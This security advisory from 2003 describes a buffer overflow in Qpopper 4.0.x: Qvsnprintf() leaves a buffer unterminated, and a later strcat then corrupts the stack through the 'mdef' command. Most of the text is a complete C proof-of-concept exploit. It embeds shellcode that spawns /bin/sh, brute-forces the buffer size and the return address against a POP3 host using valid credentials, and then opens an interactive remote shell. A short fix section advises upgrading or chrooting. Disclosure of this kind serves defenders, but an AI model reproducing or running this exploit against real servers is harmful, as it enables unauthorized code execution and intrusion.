12th Mar 2003 [SBWID-6051]
COMMAND
Qpopper buffer overflow
SYSTEMS AFFECTED
qpopper-4.0.x where x < 5.rc2
PROBLEM
Florian Heinz from Cronon AG [http://www.cronon.org] reported following
buffer overflow on last recente version of QPopper
[http://www.eudora.com/qpopper_general/].
Under certain conditions it is possible to execute arbitrary code using
a buffer overflow in the recent qpopper.
You need a valid username/password-combination and code is (depending
on the setup) usually executed with the user's uid and gid mail.
Explanation
===========
Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
function is used unconditionally on any system, regardless if the
system has its own vsnprintf(). The function correctly writes up to 'n'
bytes into the buffer, but fails to null-terminate it, if buffer-space
runs out while copying the format-string (so the obvious fix is,
null-terminate the buffer in Qvsnprintf()). This is a problem in
pop_msg() (popper/pop_msg.c). The call to Qvsnprintf() can leave the
buffer 'message' unterminated, so the successive call to strcat
(strcat(message,"\r\n")) writes somewhere into thew stack. What it
exactly overwrites depends heavily on the individual binary and the
current stack-data (where is the next null-byte). I successfully
managed to execute arbitrary code using the 'mdef'-command with the
binary in the most recent debian-package 'qpopper-4.0.4-8' Sending
'mdef <macroname>()' with a macro-name of about 1000 bytes fills the
buffer leaving it unterminated. The strcat overwrites the least
significant byte of the saved basepointer on the stack, now pointing
inside the buffer. On return of pop_mdef() (file pop_extend.c), the
return-address is now fetched from within our buffer (and of course
pointing inside our buffer), allowing to, for example, spawn a shell.
The Macroname may not include bytes causing isspace() to return true
and, of course, no null-byte, so shellcode must be appropriate crafted.
I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
SuSE is more lucky, strcat doesn't overwrite critical values. I have
not yet tested other distributions.
Exploit
=======
Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
debian qpopper-4.0.4-8:
/*****************************************************************************/
/* Exploit for qpopper 4.0.x */
/* (successfully tested with debian qpopper-4.0.4-8) */
/* Provide a valid username/password and get a shell with the user's rights */
/* and GID mail. */
/* Author: Florian Heinz <[email protected]> */
/* */
/*****************************************************************************/
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb0\x17" /* mov $0x17, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x08" /* mov $0x8,%al */
"\x40\x40\x40" /* inc %eax (3 times) */
"\xcd\x80"; /* int $0x80 */
#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffc004
void
shell_io (fd)
int fd;
{
fd_set fs;
char buf[1000];
int len;
while (1)
{
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(fd, &fs);
select(fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(0, &fs))
{
if ((len = read(0, buf, 1000)) <= 0)
break;
write(fd, buf, len);
}
else
{
if ((len = read(fd, buf, 1000)) <= 0)
break;
write(1, buf, len);
}
}
}
void
send_mdef (fd, buflen, retaddr, rashift)
int fd, buflen, rashift;
unsigned int retaddr;
{
char buf[2000], *bp;
int i;
memset(buf, 0x90, 2000);
memcpy(buf, "mdef ", 5);
memcpy(buf + buflen - RETLEN - strlen(shellcode),
shellcode, strlen(shellcode));
bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
for (i = 0; i < RETLEN; i += 4)
memcpy(bp+i+rashift, &retaddr, sizeof(int));
buf[buflen-2] = '(';
buf[buflen-1] = ')';
buf[buflen] = '\n';
write(fd, buf, buflen+1);
return;
}
int get_pop_reply (int fd, char *buf, int buflen)
{
int len;
fd_set s;
struct timeval tv;
len = read (fd, buf, buflen);
FD_ZERO(&s);
FD_SET(fd, &s);
tv.tv_sec = tv.tv_usec = 0;
select(fd+1, &s, NULL, NULL, &tv);
if (FD_ISSET(fd, &s))
len = read (fd, buf, buflen);
if (len == 0)
return 0;
else if (!strncmp(buf, "-ERR ", 5))
return -1;
else
return len;
}
int
open_pop(ip, user, pass)
unsigned int ip;
char *user, *pass;
{
struct sockaddr_in peer;
int fd, st = 0;
char buf[1024];
int state = 0;
peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr.s_addr = ip;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
fflush(stdout);
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}
printf("Logging in... ");
fflush(stdout);
while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
{
if (!strncmp(buf, "+OK ", 4))
{
switch (state)
{
case 0:
snprintf(buf, 1024, "USER %s\n", user);
write(fd, buf, strlen(buf));
state++;
break;
case 1:
snprintf(buf, 1024, "PASS %s\n", pass);
write(fd, buf, strlen(buf));
state++;
break;
case 2:
state++;
break;
}
}
else if (!strncmp(buf, "-ERR ", 5))
{
fprintf(stderr, "Could not log in. Did you provide a valid "
"username/password-combination?\n");
break;
}
else
{
fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
buf);
break;
}
}
if (state < 3)
{
fprintf(stderr, "Exiting due to error...\n");
exit(EXIT_FAILURE);
}
else if (st < 0)
{
perror("read");
exit(EXIT_FAILURE);
}
else if (st == 0)
{
fprintf(stderr, "Peer closed...\n");
exit(EXIT_FAILURE);
}
return fd;
}
int
main (argc, argv)
int argc;
char *argv[];
{
char *host, *user, *pass;
struct hostent *he;
struct in_addr in;
unsigned int ip, retaddr;
int fd = -1, lbs, bs, ubs, found = 0, st;
char buf[2000];
if (4 != argc)
{
fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
exit(EXIT_FAILURE);
}
host = argv[1];
user = argv[2];
pass = argv[3];
if (!inet_aton(host, &in))
{
if (!(he = gethostbyname(host)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
}
ip = in.s_addr;
printf("Phase 1: Seeking buffer size\n");
lbs = 0;
bs = BUFLEN;
ubs = 2000;
while (!found && (bs != lbs) && (bs != ubs))
{
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %d bytes... ", bs);
fflush(stdout);
send_mdef(fd, bs, 0x01010101, 0);
sleep(1);
switch ((st = get_pop_reply(fd, buf, 2000)))
{
case 0:
found++;
close(fd);
fd = -1;
break;
case -1:
printf("too long.\n");
ubs = bs;
bs = (lbs+ubs)/2;
break;
default:
if (st < bs)
{
printf("(slightly) too long.\n");
ubs = bs;
bs = (lbs+ubs)/2;
break;
}
else
{
printf("too short.\n");
lbs = bs;
bs = (lbs+ubs)/2;
break;
}
}
}
if (!found)
{
printf("Couldn't find correct buffersize...\n");
exit(EXIT_FAILURE);
}
printf("crash.\n");
while (found)
{
bs--;
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %d bytes... ", bs);
fflush(stdout);
send_mdef(fd, bs, 0x01010101, 0);
sleep(1);
if (get_pop_reply(fd, buf, 2000))
{
printf("no crash\n");
bs += 4;
bs = bs & 0xfffffffc;
found = 0;
}
else
{
fd = -1;
printf("crash\n");
}
}
printf("Optimal buffer size: %d\n\n", bs);
printf("Phase 2: Find return address\n");
found = 0;
retaddr = RETADDR;
while (!found)
{
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %x... ", retaddr);
fflush(stdout);
send_mdef(fd, bs, retaddr, 2);
sleep(1);
if (get_pop_reply(fd, buf, 2000))
{
printf("no crash\n");
found = 1;
}
else
{
fd = -1;
retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
printf("crash\n");
}
if (retaddr > 0xbfffff00)
break;
}
if (!found)
{
printf("Couldn't find a valid return address\n");
exit(EXIT_FAILURE);
}
write(fd, "uname -a\n", 9);
st = read(fd, buf, 100);
buf[st] = '\0';
if ((buf[0] != '-') && (buf[0] != '+'))
{
printf("We're in! (%s)\n", buf);
shell_io(fd);
}
else
printf("We failed...\n");
exit(EXIT_FAILURE);
}
SOLUTION
use qpopper-4.0.5rc2
Jonathan A. Zdziarski suggested:
Chrooting qpopper is also a good workaround, as well as good practice.
Instructions can be found at http://www.networkdweebs.com/chroot.html